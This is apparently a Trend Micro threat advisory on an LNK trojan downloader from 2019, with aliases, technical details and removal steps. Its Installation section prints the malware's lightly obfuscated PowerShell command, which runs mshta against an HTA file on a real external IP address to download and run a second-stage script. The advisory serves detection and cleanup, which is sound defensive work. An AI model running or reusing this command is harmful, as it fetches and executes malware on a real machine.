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Trojan.LNK.POWLOAD.THHOAAI

August 02, 2019
 ALIASES:

LNK/TrojanDownloader.Agent.TW trojan(NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

2,134 bytes

File Type:

LNK

Memory Resident:

No

Initial Samples Received Date:

01 Aug 2019

Payload:

Downloads files, Executes files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • %System%WindowsPowerShell\v1.0\powershell.exe "$hk=[string][char[]]@(0x68,0x74,0x74,0x70) -replace ' ','';$hk=$hk+'://178.33.106.120/out-1123954163.hta';mshta $hk
  • C:\Windows\system32\mshta.exe" http://{BLOCKED}.{BLOCKED}06.120/out-1123954163.hta - Download and execute a file detected as Trojan.VBS.DLOADER.THHOAAI

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.270.04

FIRST VSAPI PATTERN DATE:

01 Aug 2019

VSAPI OPR PATTERN File:

15.271.00

VSAPI OPR PATTERN Date:

02 Aug 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Trojan.LNK.POWLOAD.THHOAAI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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